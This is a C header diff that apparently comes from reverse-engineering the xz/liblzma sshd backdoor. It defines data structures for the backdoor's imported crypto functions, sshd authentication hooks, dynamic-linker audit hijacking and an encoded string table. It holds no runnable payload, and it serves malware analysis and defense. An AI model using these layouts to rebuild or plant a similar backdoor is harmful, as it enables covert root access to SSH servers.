-
682  EVP_CIPHER_CTX *ctx, const EVP_CIPHER *type,
-
683  ENGINE *impl, const unsigned char *key, const unsigned char *iv);
-
684  int (*EVP_DecryptUpdate)(
-
685  EVP_CIPHER_CTX *ctx, unsigned char *out,
-
686  int *outl, const unsigned char *in, int inl);
-
687  int (*EVP_DecryptFinal_ex)(EVP_CIPHER_CTX *ctx, unsigned char *outm, int *outl);
-
688  void (*EVP_CIPHER_CTX_free)(EVP_CIPHER_CTX *ctx);
-
689  const EVP_CIPHER *(*EVP_chacha20)(void);
-
690  RSA *(*RSA_new)(void);
-
691  BIGNUM *(*BN_dup)(const BIGNUM *from);
-
692  BIGNUM (*BN_bin2bn)(const unsigned char *s, int len, BIGNUM *ret);
-
693  int (*RSA_set0_key)(RSA *r, BIGNUM *n, BIGNUM *e, BIGNUM *d);
-
694  int (*EVP_Digest)(
-
695  const void *data, size_t count, unsigned char *md,
-
696  unsigned int *size, const EVP_MD *type, ENGINE *impl);
-
697  int (*RSA_sign)(
-
698  int type,
-
699  const unsigned char *m, unsigned int m_len,
-
700  unsigned char *sigret, unsigned int *siglen, RSA *rsa);
-
701  int (*BN_bn2bin)(const BIGNUM *a, unsigned char *to);
-
702  void (*RSA_free)(RSA *rsa);
-
703  void (*BN_free)(BIGNUM *a);
-
704  libc_imports_t *libc;
-
705  u64 resolved_imports_count;
-
706 } imported_funcs_t;
-
707 
-
708 assert_offset(imported_funcs_t, RSA_public_decrypt, 0);
-
709 assert_offset(imported_funcs_t, EVP_PKEY_set1_RSA, 8);
-
710 assert_offset(imported_funcs_t, RSA_get0_key_null, 0x10);
-
711 assert_offset(imported_funcs_t, RSA_public_decrypt_plt, 0x18);
-
712 assert_offset(imported_funcs_t, EVP_PKEY_set1_RSA_plt, 0x20);
-
713 assert_offset(imported_funcs_t, RSA_get0_key_plt, 0x28);
-
714 assert_offset(imported_funcs_t, DSA_get0_pqg, 0x30);
-
715 assert_offset(imported_funcs_t, DSA_get0_pub_key, 0x38);
-
716 assert_offset(imported_funcs_t, EC_POINT_point2oct, 0x40);
-
717 assert_offset(imported_funcs_t, EC_KEY_get0_public_key, 0x48);
-
718 assert_offset(imported_funcs_t, EC_KEY_get0_group, 0x50);
-
719 assert_offset(imported_funcs_t, EVP_sha256, 0x58);
-
720 assert_offset(imported_funcs_t, RSA_get0_key, 0x60);
-
721 assert_offset(imported_funcs_t, BN_num_bits, 0x68);
-
722 assert_offset(imported_funcs_t, EVP_PKEY_new_raw_public_key, 0x70);
-
723 assert_offset(imported_funcs_t, EVP_MD_CTX_new, 0x78);
-
724 assert_offset(imported_funcs_t, EVP_DigestVerifyInit, 0x80);
-
725 assert_offset(imported_funcs_t, EVP_DigestVerify, 0x88);
-
726 assert_offset(imported_funcs_t, EVP_MD_CTX_free, 0x90);
-
727 assert_offset(imported_funcs_t, EVP_PKEY_free, 0x98);
-
728 assert_offset(imported_funcs_t, EVP_CIPHER_CTX_new, 0xA0);
-
729 assert_offset(imported_funcs_t, EVP_DecryptInit_ex, 0xA8);
-
730 assert_offset(imported_funcs_t, EVP_DecryptUpdate, 0xB0);
-
731 assert_offset(imported_funcs_t, EVP_DecryptFinal_ex, 0xB8);
-
732 assert_offset(imported_funcs_t, EVP_CIPHER_CTX_free, 0xC0);
-
733 assert_offset(imported_funcs_t, EVP_chacha20, 0xC8);
-
734 assert_offset(imported_funcs_t, RSA_new, 0xD0);
-
735 assert_offset(imported_funcs_t, BN_dup, 0xD8);
-
736 assert_offset(imported_funcs_t, BN_bin2bn, 0xE0);
-
737 assert_offset(imported_funcs_t, RSA_set0_key, 0xE8);
-
738 assert_offset(imported_funcs_t, EVP_Digest, 0xF0);
-
739 assert_offset(imported_funcs_t, RSA_sign, 0xF8);
-
740 assert_offset(imported_funcs_t, BN_bn2bin, 0x100);
-
741 assert_offset(imported_funcs_t, RSA_free, 0x108);
-
742 assert_offset(imported_funcs_t, BN_free, 0x110);
-
743 assert_offset(imported_funcs_t, libc, 0x118);
-
744 assert_offset(imported_funcs_t, resolved_imports_count, 0x120);
-
745 static_assert(sizeof(imported_funcs_t) == 0x128);
-
746 
-
747 typedef struct __attribute__((packed)) sshd_ctx {
-
748  PADDING(0x20);
-
749  PADDING(sizeof(void *));
-
750  void *mm_answer_authpassword_start;
-
751  void *mm_answer_authpassword_end;
-
752  void *monitor_req_authpassword;
-
753  PADDING(sizeof(void *));
-
754  void *mm_answer_keyallowed_start;
-
755  void *mm_answer_keyallowed_end;
-
756  void *monitor_req_keyallowed_ptr;
-
757  PADDING(sizeof(void *));
-
758  void *mm_answer_keyverify_start;
-
759  void *mm_answer_keyverify_end;
-
760  void *monitor_req_keyverify_ptr;
-
761  PADDING(0x4);
-
762  u16 writebuf_size;
-
763  PADDING(0x2);
-
764  u8 *writebuf;
-
765  PADDING(0x8);
-
766  PADDING(0x8);
-
767  PADDING(sizeof(void *));
-
768  void *mm_request_send_start;
-
769  void *mm_request_send_end;
-
770  PADDING(sizeof(u32));
-
771  PADDING(sizeof(u32));
-
772  int *use_pam_ptr;
-
773  int *permit_root_login_ptr;
-
774  char *STR_password;
-
775  char *STR_publickey;
-
776 } sshd_ctx_t;
-
777 
-
778 assert_offset(sshd_ctx_t, mm_answer_authpassword_start, 0x28);
-
779 assert_offset(sshd_ctx_t, mm_answer_authpassword_end, 0x30);
-
780 assert_offset(sshd_ctx_t, monitor_req_authpassword, 0x38);
-
781 assert_offset(sshd_ctx_t, mm_answer_keyallowed_start, 0x48);
-
782 assert_offset(sshd_ctx_t, mm_answer_keyallowed_end, 0x50);
-
783 assert_offset(sshd_ctx_t, monitor_req_keyallowed_ptr, 0x58);
-
784 assert_offset(sshd_ctx_t, mm_answer_keyverify_start, 0x68);
-
785 assert_offset(sshd_ctx_t, mm_answer_keyverify_end, 0x70);
-
786 assert_offset(sshd_ctx_t, monitor_req_keyverify_ptr, 0x78);
-
787 assert_offset(sshd_ctx_t, writebuf_size, 0x84);
-
788 assert_offset(sshd_ctx_t, writebuf, 0x88);
-
789 assert_offset(sshd_ctx_t, mm_request_send_start, 0xA8);
-
790 assert_offset(sshd_ctx_t, mm_request_send_end, 0xB0);
-
791 assert_offset(sshd_ctx_t, use_pam_ptr, 0xC0);
-
792 assert_offset(sshd_ctx_t, permit_root_login_ptr, 0xC8);
-
793 assert_offset(sshd_ctx_t, STR_password, 0xD0);
-
794 assert_offset(sshd_ctx_t, STR_publickey, 0xD8);
-
795 
-
796 typedef struct __attribute__((packed)) sshd_log_ctx {
-
797  PADDING(0x8);
-
798  PADDING(0x8);
-
799  char *STR_percent_s;
-
800  char *STR_Connection_closed_by;
-
801  char *STR_preauth;
-
802  char *STR_authenticating;
-
803  char *STR_user;
-
804  PADDING(0x8);
-
805  PADDING(0x8);
-
806  PADDING(0x8);
-
807  PADDING(0x8);
-
808  void *sshlogv;
-
809 } sshd_log_ctx_t;
-
810 
-
811 assert_offset(sshd_log_ctx_t, STR_percent_s, 0x10);
-
812 assert_offset(sshd_log_ctx_t, STR_Connection_closed_by, 0x18);
-
813 assert_offset(sshd_log_ctx_t, STR_preauth, 0x20);
-
814 assert_offset(sshd_log_ctx_t, STR_authenticating, 0x28);
-
815 assert_offset(sshd_log_ctx_t, STR_user, 0x30);
-
816 assert_offset(sshd_log_ctx_t, sshlogv, 0x58);
-
817 
-
818 typedef struct __attribute__((packed)) global_context {
-
819  PADDING(8);
-
823  imported_funcs_t *imported_funcs;
-
827  libc_imports_t* libc_imports;
-
835  BOOL disable_backdoor;
-
836  PADDING(4);
-
837  sshd_ctx_t *sshd_ctx;
-
838  void *sshd_host_keys;
-
839  sshd_log_ctx_t *sshd_log_ctx;
-
843  char *ssh_rsa_cert_v01_openssh_com_str;
-
847  char *rsa_sha2_256_str;
-
848  PADDING(0x10);
-
852  void *sshd_code_start;
-
856  void *sshd_code_end;
-
860  void *sshd_data_start;
-
864  void *sshd_data_end;
-
865  PADDING(0x8);
-
872  void *lzma_code_start;
-
879  void *lzma_code_end;
-
880  PADDING(0x78);
-
884  u8 secret_data[57];
-
890  u8 shift_operations[31];
-
894  u32 num_shifted_bits;
-
895  PADDING(4);
-
896 } global_context_t;
-
897 
-
898 assert_offset(global_context_t, imported_funcs, 0x8);
-
899 assert_offset(global_context_t, libc_imports, 0x10);
-
900 assert_offset(global_context_t, disable_backdoor, 0x18);
-
901 assert_offset(global_context_t, sshd_ctx, 0x20);
-
902 assert_offset(global_context_t, sshd_host_keys, 0x28);
-
903 assert_offset(global_context_t, sshd_log_ctx, 0x30);
-
904 assert_offset(global_context_t, sshd_code_start, 0x58);
-
905 assert_offset(global_context_t, sshd_code_end, 0x60);
-
906 assert_offset(global_context_t, sshd_data_start, 0x68);
-
907 assert_offset(global_context_t, sshd_data_end, 0x70);
-
908 assert_offset(global_context_t, lzma_code_start, 0x80);
-
909 assert_offset(global_context_t, lzma_code_end, 0x88);
-
910 assert_offset(global_context_t, secret_data, 0x108);
-
911 assert_offset(global_context_t, shift_operations, 0x141);
-
912 assert_offset(global_context_t, num_shifted_bits, 0x160);
-
913 static_assert(sizeof(global_context_t) == 0x168);
-
914 
-
915 typedef struct __attribute__((packed)) backdoor_shared_globals {
-
916  PADDING(sizeof(void*));
-
921  PADDING(sizeof(void*));
-
922  global_context_t **globals;
-
923 } backdoor_shared_globals_t;
-
924 
-
925 assert_offset(backdoor_shared_globals_t, globals, 0x10);
-
926 static_assert(sizeof(backdoor_shared_globals_t) == 0x18);
-
927 
-
928 typedef struct __attribute__((packed)) ldso_ctx {
-
929  PADDING(0x40);
-
940  void *libcrypto_auditstate_bindflags_ptr;
-
945  void *libcrypto_auditstate_bindflags_old_value;
-
956  void *sshd_auditstate_bindflags_ptr;
-
961  void *sshd_auditstate_bindflags_old_value;
-
970  void* sshd_link_map_l_audit_any_plt_addr;
-
977  u8 link_map_l_audit_any_plt_bitmask;
-
978  PADDING(0x7);
-
987  struct audit_ifaces **_dl_audit_ptr;
-
996  unsigned int *_dl_naudit_ptr;
-
1005  struct audit_ifaces hooked_audit_ifaces;
-
1006  PADDING(0x30);
-
1013  char **libcrypto_l_name;
-
1020  void (*_dl_audit_symbind_alt)(struct link_map *l, const ElfW(Sym) *ref, void **value, lookup_t result);
-
1025  size_t _dl_audit_symbind_alt__size;
-
1030  pfn_RSA_public_decrypt_t hook_RSA_public_decrypt;
-
1036  pfn_RSA_public_decrypt_t hook_EVP_PKEY_set1_RSA;
-
1041  pfn_RSA_get0_key_t hook_RSA_get0_key;
-
1042  imported_funcs_t *imported_funcs;
-
1043  u64 hooks_installed;
-
1044 } ldso_ctx_t;
-
1045 
-
1046 assert_offset(ldso_ctx_t, libcrypto_auditstate_bindflags_ptr, 0x40);
-
1047 assert_offset(ldso_ctx_t, libcrypto_auditstate_bindflags_old_value, 0x48);
-
1048 assert_offset(ldso_ctx_t, sshd_auditstate_bindflags_ptr, 0x50);
-
1049 assert_offset(ldso_ctx_t, sshd_auditstate_bindflags_old_value, 0x58);
-
1050 assert_offset(ldso_ctx_t, sshd_link_map_l_audit_any_plt_addr, 0x60);
-
1051 assert_offset(ldso_ctx_t, link_map_l_audit_any_plt_bitmask, 0x68);
-
1052 assert_offset(ldso_ctx_t, _dl_audit_ptr, 0x70);
-
1053 assert_offset(ldso_ctx_t, _dl_naudit_ptr, 0x78);
-
1054 assert_offset(ldso_ctx_t, hooked_audit_ifaces, 0x80);
-
1055 static_assert(sizeof(struct audit_ifaces) == 0x48);
-
1056 assert_offset(ldso_ctx_t, libcrypto_l_name, 0xF8);
-
1057 assert_offset(ldso_ctx_t, _dl_audit_symbind_alt, 0x100);
-
1058 assert_offset(ldso_ctx_t, _dl_audit_symbind_alt__size, 0x108);
-
1059 assert_offset(ldso_ctx_t, hook_RSA_public_decrypt, 0x110);
-
1060 assert_offset(ldso_ctx_t, hook_EVP_PKEY_set1_RSA, 0x118);
-
1061 assert_offset(ldso_ctx_t, hook_RSA_get0_key, 0x120);
-
1062 assert_offset(ldso_ctx_t, imported_funcs, 0x128);
-
1063 assert_offset(ldso_ctx_t, hooks_installed, 0x130);
-
1064 static_assert(sizeof(ldso_ctx_t) == 0x138);
-
1065 
-
1066 
-
1067 typedef struct __attribute__((packed)) backdoor_hooks_data {
-
1068  ldso_ctx_t ldso_ctx;
-
1069  global_context_t global_ctx;
-
1070  imported_funcs_t imported_funcs;
-
1071  PADDING(0xE0);
-
1072  libc_imports_t libc_imports;
-
1073  PADDING(0x70);
-
1074 } backdoor_hooks_data_t;
-
1075 
-
1076 assert_offset(backdoor_hooks_data_t, ldso_ctx, 0);
-
1077 assert_offset(backdoor_hooks_data_t, global_ctx, 0x138);
-
1078 assert_offset(backdoor_hooks_data_t, imported_funcs, 0x2A0);
-
1079 assert_offset(backdoor_hooks_data_t, libc_imports, 0x4A8);
-
1080 static_assert(sizeof(backdoor_hooks_data_t) == 0x588);
-
1081 
-
1082 typedef struct __attribute__((packed)) backdoor_hooks_ctx {
-
1083  PADDING(0x30);
-
1084  backdoor_shared_globals_t *shared;
-
1085  backdoor_hooks_data_t **hooks_data_addr;
-
1086  uintptr_t (*symbind64)(
-
1087  Elf64_Sym *sym, unsigned int ndx,
-
1088  uptr *refcook, uptr *defcook,
-
1089  unsigned int flags, const char *symname);
-
1090  pfn_RSA_public_decrypt_t hook_RSA_public_decrypt;
-
1091  pfn_RSA_get0_key_t hook_RSA_get0_key;
-
1095  PADDING(sizeof(void *));
-
1096  PADDING(sizeof(void *));
-
1097  PADDING(sizeof(void *));
-
1101  PADDING(sizeof(void *));
-
1105  PADDING(sizeof(void *));
-
1106  PADDING(sizeof(void *));
-
1107 } backdoor_hooks_ctx_t;
-
1108 
-
1109 assert_offset(backdoor_hooks_ctx_t, shared, 0x30);
-
1110 assert_offset(backdoor_hooks_ctx_t, hooks_data_addr, 0x38);
-
1111 assert_offset(backdoor_hooks_ctx_t, symbind64, 0x40);
-
1112 assert_offset(backdoor_hooks_ctx_t, hook_RSA_public_decrypt, 0x48);
-
1113 assert_offset(backdoor_hooks_ctx_t, hook_RSA_get0_key, 0x50);
-
1114 static_assert(sizeof(backdoor_hooks_ctx_t) == 0x88);
-
1115 
-
1116 
-
1117 typedef struct __attribute__((packed)) backdoor_setup_params {
-
1118  PADDING(0x8);
-
1119  backdoor_shared_globals_t *shared;
-
1120  backdoor_hooks_ctx_t *hook_params;
-
1121  PADDING(0x68);
-
1122  elf_entry_ctx_t *entry_ctx;
-
1123 } backdoor_setup_params_t;
+
145 typedef enum {
+
146  // has lock prefix
+
147  DF_LOCK = 1,
+
148  // has es-segment override
+
149  DF_ESEG = 2,
+
150  // has operand size override
+
151  DF_OSIZE = 4,
+
152  // has address size override
+
153  DF_ASIZE = 8,
+
154  // has rex
+
155  DF_REX = 0x20
+
156 } InstructionFlags;
+
157 
+
158 typedef enum {
+
159  // ELF has JMPREL relocs
+
160  X_ELF_PLTREL = 0x1,
+
161  // ELF has RELA relocs
+
162  X_ELF_RELA = 0x2,
+
163  // ELF has RELR relocs
+
164  X_ELF_RELR = 0x4,
+
165  // ELF has DT_VERSYM
+
166  X_ELF_VERSYM = 0x10,
+
167  // ELF has DF_1_NOW
+
168  X_ELF_NOW = 0x20
+
169 } ElfFlags;
+
170 
+
171 typedef enum {
+
172  // register-indirect addressing or no displacement
+
173  MRM_I_REG, // 00
+
174  // indirect with one byte displacement
+
175  MRM_I_DISP1, // 01
+
176  // indirect with four byte displacement
+
177  MRM_I_DISP4, // 10
+
178  // direct-register addressing
+
179  MRM_D_REG // 11
+
180 } ModRm_Mod;
+
181 
+
182 typedef enum {
+
183  // find function beginning by looking for endbr64
+
184  FIND_ENDBR64,
+
185  // find function beginning by looking for padding,
+
186  // then getting the instruction after it
+
187  FIND_NOP
+
188 } FuncFindType;
+
189 
+
190 typedef enum {
+
195  X_ELF_MAIN = 0,
+
196  X_ELF_DYNAMIC_LINKER = 1,
+
197  X_ELF_LIBC = 2,
+
198  X_ELF_LIBCRYPTO = 3
+
199 } ElfId;
+
200 
+
201 typedef enum {
+
202  XREF_xcalloc_zero_size = 0,
+
203  XREF_Could_not_chdir_to_home_directory_s_s = 1,
+
204  XREF_list_hostkey_types = 2,
+
205  XREF_demote_sensitive_data = 3,
+
206  XREF_mm_terminate = 4,
+
207  XREF_mm_pty_allocate = 5,
+
208  XREF_mm_do_pam_account = 6,
+
209  XREF_mm_session_pty_cleanup2 = 7,
+
210  XREF_mm_getpwnamallow = 8,
+
211  XREF_mm_sshpam_init_ctx = 9,
+
212  XREF_mm_sshpam_query = 10,
+
213  XREF_mm_sshpam_respond = 11,
+
214  XREF_mm_sshpam_free_ctx = 12,
+
215  XREF_mm_choose_dh = 13,
+
216  XREF_sshpam_respond = 14,
+
217  XREF_sshpam_auth_passwd = 15,
+
218  XREF_sshpam_query = 16,
+
219  XREF_start_pam = 17,
+
220  XREF_mm_request_send = 18,
+
221  XREF_mm_log_handler = 19,
+
222  XREF_Could_not_get_agent_socket = 20,
+
223  XREF_auth_root_allowed = 21,
+
224  XREF_mm_answer_authpassword = 22,
+
225  XREF_mm_answer_keyallowed = 23,
+
226  XREF_mm_answer_keyverify = 24,
+
227  XREF_48s_48s_d_pid_ld_ = 25,
+
228  XREF_Unrecognized_internal_syslog_level_code_d = 26
+
229 } StringXrefId;
+
230 
+
231 typedef enum {
+
232  STR_from = 0x810,
+
233  STR_ssh2 = 0x678,
+
234  STR_48s_48s_d_pid_ld_ = 0xd8,
+
235  STR_s = 0x708,
+
236  STR_usr_sbin_sshd = 0x108,
+
237  STR_Accepted_password_for = 0x870,
+
238  STR_Accepted_publickey_for = 0x1a0,
+
239  STR_BN_bin2bn = 0xc40,
+
240  STR_BN_bn2bin = 0x6d0,
+
241  STR_BN_dup = 0x958,
+
242  STR_BN_free = 0x418,
+
243  STR_BN_num_bits = 0x4e0,
+
244  STR_Connection_closed_by = 0x790,
+
245  STR_Could_not_chdir_to_home_directory_s_s = 0x18,
+
246  STR_Could_not_get_agent_socket = 0xb0,
+
247  STR_DISPLAY = 0x960,
+
248  STR_DSA_get0_pqg = 0x9d0,
+
249  STR_DSA_get0_pub_key = 0x468,
+
250  STR_EC_KEY_get0_group = 0x7e8,
+
251  STR_EC_KEY_get0_public_key = 0x268,
+
252  STR_EC_POINT_point2oct = 0x6e0,
+
253  STR_EVP_CIPHER_CTX_free = 0xb28,
+
254  STR_EVP_CIPHER_CTX_new = 0x838,
+
255  STR_EVP_DecryptFinal_ex = 0x2a8,
+
256  STR_EVP_DecryptInit_ex = 0xc08,
+
257  STR_EVP_DecryptUpdate = 0x3f0,
+
258  STR_EVP_Digest = 0xf8,
+
259  STR_EVP_DigestVerify = 0x408,
+
260  STR_EVP_DigestVerifyInit = 0x118,
+
261  STR_EVP_MD_CTX_free = 0xd10,
+
262  STR_EVP_MD_CTX_new = 0xaf8,
+
263  STR_EVP_PKEY_free = 0x6f8,
+
264  STR_EVP_PKEY_new_raw_public_key = 0x758,
+
265  STR_EVP_PKEY_set1_RSA = 0x510,
+
266  STR_EVP_chacha20 = 0xc28,
+
267  STR_EVP_sha256 = 0xc60,
+
268  STR_EVP_sm = 0x188,
+
269  STR_GLIBC_2_2_5 = 0x8c0,
+
270  STR_GLRO_dl_naudit_naudit = 0x6a8,
+
271  STR_KRB5CCNAME = 0x1e0,
+
272  STR_LD_AUDIT = 0xcf0,
+
273  STR_LD_BIND_NOT = 0xbc0,
+
274  STR_LD_DEBUG = 0xa90,
+
275  STR_LD_PROFILE = 0xb98,
+
276  STR_LD_USE_LOAD_BIAS = 0x3e0,
+
277  STR_LINES = 0xa88,
+
278  STR_RSA_free = 0xac0,
+
279  STR_RSA_get0_key = 0x798,
+
280  STR_RSA_new = 0x918,
+
281  STR_RSA_public_decrypt = 0x1d0,
+
282  STR_RSA_set0_key = 0x540,
+
283  STR_RSA_sign = 0x8f8,
+
284  STR_SSH_2_0 = 0x990,
+
285  STR_TERM = 0x4a8,
+
286  STR_Unrecognized_internal_syslog_level_code_d = 0xe0,
+
287  STR_WAYLAND_DISPLAY = 0x158,
+
288  STR_errno_location = 0x878,
+
289  STR_libc_stack_end = 0x2b0,
+
290  STR_libc_start_main = 0x228,
+
291  STR_dl_audit_preinit = 0xa60,
+
292  STR_dl_audit_symbind_alt = 0x9c8,
+
293  STR_exit = 0x8a8,
+
294  STR_r_debug = 0x5b0,
+
295  STR_rtld_global = 0x5b8,
+
296  STR_rtld_global_ro = 0xa98,
+
297  STR_auth_root_allowed = 0xb8,
+
298  STR_authenticating = 0x1d8,
+
299  STR_demote_sensitive_data = 0x28,
+
300  STR_getuid = 0x348,
+
301  STR_ld_linux_x86_64_so = 0xa48,
+
302  STR_libc_so = 0x7d0,
+
303  STR_libcrypto_so = 0x7c0,
+
304  STR_liblzma_so = 0x590,
+
305  STR_libsystemd_so = 0x938,
+
306  STR_list_hostkey_types = 0x20,
+
307  STR_malloc_usable_size = 0x440,
+
308  STR_mm_answer_authpassword = 0xc0,
+
309  STR_mm_answer_keyallowed = 0xc8,
+
310  STR_mm_answer_keyverify = 0xd0,
+
311  STR_mm_answer_pam_start = 0x948,
+
312  STR_mm_choose_dh = 0x78,
+
313  STR_mm_do_pam_account = 0x40,
+
314  STR_mm_getpwnamallow = 0x50,
+
315  STR_mm_log_handler = 0xa8,
+
316  STR_mm_pty_allocate = 0x38,
+
317  STR_mm_request_send = 0xa0,
+
318  STR_mm_session_pty_cleanup2 = 0x48,
+
319  STR_mm_sshpam_free_ctx = 0x70,
+
320  STR_mm_sshpam_init_ctx = 0x58,
+
321  STR_mm_sshpam_query = 0x60,
+
322  STR_mm_sshpam_respond = 0x68,
+
323  STR_mm_terminate = 0x30,
+
324  STR_parse_PAM = 0xc58,
+
325  STR_password = 0x400,
+
326  STR_preauth = 0x4f0,
+
327  STR_pselect = 0x690,
+
328  STR_publickey = 0x7b8,
+
329  STR_read = 0x308,
+
330  STR_rsa_sha2_256 = 0x710,
+
331  STR_setlogmask = 0x428,
+
332  STR_setresgid = 0x5f0,
+
333  STR_setresuid = 0xab8,
+
334  STR_shutdown = 0x760,
+
335  STR_ssh_2_0 = 0xd08,
+
336  STR_ssh_rsa_cert_v01_openssh_com = 0x2c8,
+
337  STR_sshpam_auth_passwd = 0x88,
+
338  STR_sshpam_query = 0x90,
+
339  STR_sshpam_respond = 0x80,
+
340  STR_start_pam = 0x98,
+
341  STR_system = 0x9f8,
+
342  STR_unknown = 0x198,
+
343  STR_user = 0xb10,
+
344  STR_write = 0x380,
+
345  STR_xcalloc_zero_size = 0x10,
+
346  STR_yolAbejyiejuvnupEvjtgvsh5okmkAvj = 0xb00,
+
347  STR_ELF = 0x300,
+
348 } EncodedStringId;
+
349 
+
350 #ifndef XZRE_SLIM
+
351 #define assert_offset(t, f, o) static_assert(offsetof(t, f) == o)
+
352 #else
+
353 #define assert_offset(t, f, o)
+
354 #endif
+
355 
+
356 #define CONCAT(x, y) x ## y
+
357 #define EXPAND(x, y) CONCAT(x, y)
+
358 #define PADDING(size) u8 EXPAND(_unknown, __LINE__)[size]
+
359 
+
360 typedef struct __attribute__((packed)) elf_entry_ctx {
+
365  void *symbol_ptr;
+
369  void *got_ptr;
+
376  void *return_address;
+
380  void *cpuid_fn;
+
385  ptrdiff_t got_offset;
+
389  u64 *frame_address;
+
390 } elf_entry_ctx_t;
+
391 
+
392 assert_offset(elf_entry_ctx_t, symbol_ptr, 0);
+
393 assert_offset(elf_entry_ctx_t, got_ptr, 8);
+
394 assert_offset(elf_entry_ctx_t, return_address, 0x10);
+
395 assert_offset(elf_entry_ctx_t, cpuid_fn, 0x18);
+
396 assert_offset(elf_entry_ctx_t, got_offset, 0x20);
+
397 assert_offset(elf_entry_ctx_t, frame_address, 0x28);
+
398 
+
399 typedef struct __attribute__((packed)) dasm_ctx {
+
400  u8* instruction;
+
401  u64 instruction_size;
+
402  u8 flags;
+
403  u8 flags2;
+
404  PADDING(2);
+
405  u8 lock_byte;
+
406  u8 _unk1;
+
407  u8 last_prefix;
+
408  PADDING(4);
+
409  u8 rex_byte;
+
410  u8 modrm;
+
411  u8 modrm_mod;
+
412  u8 modrm_reg;
+
413  u8 modrm_rm;
+
414  PADDING(4);
+
415  u8 byte_24;
+
416  PADDING(3);
+
417  u32 opcode;
+
418  PADDING(4);
+
419  u64 mem_disp;
+
420  // e.g. in CALL
+
421  u64 operand;
+
422  PADDING(16);
+
423  u8 insn_offset;
+
424  PADDING(7);
+
425 } dasm_ctx_t;
+
426 
+
427 assert_offset(dasm_ctx_t, instruction, 0);
+
428 assert_offset(dasm_ctx_t, instruction_size, 8);
+
429 assert_offset(dasm_ctx_t, flags, 0x10);
+
430 assert_offset(dasm_ctx_t, flags2, 0x11);
+
431 assert_offset(dasm_ctx_t, lock_byte, 0x14);
+
432 assert_offset(dasm_ctx_t, last_prefix, 0x16);
+
433 assert_offset(dasm_ctx_t, rex_byte, 0x1B);
+
434 assert_offset(dasm_ctx_t, modrm, 0x1C);
+
435 assert_offset(dasm_ctx_t, modrm_mod, 0x1D);
+
436 assert_offset(dasm_ctx_t, modrm_reg, 0x1E);
+
437 assert_offset(dasm_ctx_t, modrm_rm, 0x1F);
+
438 assert_offset(dasm_ctx_t, opcode, 0x28);
+
439 assert_offset(dasm_ctx_t, mem_disp, 0x30);
+
440 assert_offset(dasm_ctx_t, operand, 0x38);
+
441 assert_offset(dasm_ctx_t, insn_offset, 0x50);
+
442 static_assert(sizeof(dasm_ctx_t) == 0x58);
+
443 
+
444 typedef struct __attribute__((packed)) elf_info {
+
448  Elf64_Ehdr *elfbase;
+
452  u64 first_vaddr;
+
456  Elf64_Phdr *phdrs;
+
460  u64 e_phnum;
+
464  Elf64_Dyn *dyn;
+
468  u64 dyn_num_entries;
+
472  char *strtab;
+
476  Elf64_Sym *symtab;
+
480  Elf64_Rela *plt_relocs;
+
484  u32 plt_relocs_num;
+
490  BOOL gnurelro_found;
+
494  u64 gnurelro_vaddr;
+
498  u64 gnurelro_memsize;
+
502  Elf64_Verdef *verdef;
+
506  u64 verdef_num;
+
507  Elf64_Versym *versym;
+
508  Elf64_Rela *rela_relocs;
+
509  u32 rela_relocs_num;
+
510  u32 _unused0;
+
511  Elf64_Relr *relr_relocs;
+
512  u32 relr_relocs_num;
+
513  PADDING(4);
+
518  u64 code_segment_start;
+
523  u64 code_segment_size;
+
524 
+
525  u64 rodata_segment_start;
+
526  u64 rodata_segment_size;
+
527  u64 data_segment_start;
+
528  u64 data_segment_size;
+
529  u64 data_segment_alignment;
+
530 
+
531  u8 flags;
+
532  PADDING(7);
+
536  u32 gnu_hash_nbuckets;
+
540  u32 gnu_hash_last_bloom;
+
541  u32 gnu_hash_bloom_shift;
+
542  PADDING(4);
+
543  u64 *gnu_hash_bloom;
+
544  u32 *gnu_hash_buckets;
+
545  u32 *gnu_hash_chain;
+
546 } elf_info_t;
+
547 
+
548 assert_offset(elf_info_t, elfbase, 0x0);
+
549 assert_offset(elf_info_t, first_vaddr, 0x8);
+
550 assert_offset(elf_info_t, phdrs, 0x10);
+
551 assert_offset(elf_info_t, e_phnum, 0x18);
+
552 assert_offset(elf_info_t, dyn, 0x20);
+
553 assert_offset(elf_info_t, dyn_num_entries, 0x28);
+
554 assert_offset(elf_info_t, strtab, 0x30);
+
555 assert_offset(elf_info_t, symtab, 0x38);
+
556 assert_offset(elf_info_t, plt_relocs, 0x40);
+
557 assert_offset(elf_info_t, plt_relocs_num, 0x48);
+
558 assert_offset(elf_info_t, gnurelro_found, 0x4C);
+
559 assert_offset(elf_info_t, gnurelro_vaddr, 0x50);
+
560 assert_offset(elf_info_t, gnurelro_memsize, 0x58);
+
561 assert_offset(elf_info_t, verdef, 0x60);
+
562 assert_offset(elf_info_t, verdef_num, 0x68);
+
563 assert_offset(elf_info_t, versym, 0x70);
+
564 assert_offset(elf_info_t, rela_relocs, 0x78);
+
565 assert_offset(elf_info_t, rela_relocs_num, 0x80);
+
566 assert_offset(elf_info_t, relr_relocs, 0x88);
+
567 assert_offset(elf_info_t, relr_relocs_num, 0x90);
+
568 assert_offset(elf_info_t, code_segment_start, 0x98);
+
569 assert_offset(elf_info_t, code_segment_size, 0xA0);
+
570 assert_offset(elf_info_t, rodata_segment_start, 0xA8);
+
571 assert_offset(elf_info_t, rodata_segment_size, 0xB0);
+
572 assert_offset(elf_info_t, data_segment_start, 0xB8);
+
573 assert_offset(elf_info_t, data_segment_size, 0xC0);
+
574 assert_offset(elf_info_t, data_segment_alignment, 0xC8);
+
575 assert_offset(elf_info_t, flags, 0xD0);
+
576 assert_offset(elf_info_t, gnu_hash_nbuckets, 0xd8);
+
577 assert_offset(elf_info_t, gnu_hash_last_bloom, 0xdc);
+
578 assert_offset(elf_info_t, gnu_hash_bloom_shift, 0xe0);
+
579 assert_offset(elf_info_t, gnu_hash_bloom, 0xe8);
+
580 assert_offset(elf_info_t, gnu_hash_buckets, 0xf0);
+
581 assert_offset(elf_info_t, gnu_hash_chain, 0xf8);
+
582 static_assert(sizeof(elf_info_t) == 0x100);
+
583 
+
584 typedef struct __attribute__((packed)) libc_imports {
+
585  u32 resolved_imports_count;
+
586  PADDING(4);
+
587  size_t (*malloc_usable_size)(void *ptr);
+
588  uid_t (*getuid)(void);
+
589  void (*exit)(int status);
+
590  int (*setresgid)(gid_t rgid, gid_t egid, gid_t sgid);
+
591  int (*setresuid)(uid_t ruid, uid_t euid, uid_t suid);
+
592  int (*system)(const char *command);
+
593  ssize_t (*write)(int fd, const void *buf, size_t count);
+
594  int (*pselect)(
+
595  int nfds, fd_set *readfds, fd_set *writefds,
+
596  fd_set *exceptfds, const struct timespec *timeout,
+
597  const sigset_t *sigmask);
+
598  ssize_t (*read)(int fd, void *buf, size_t count);
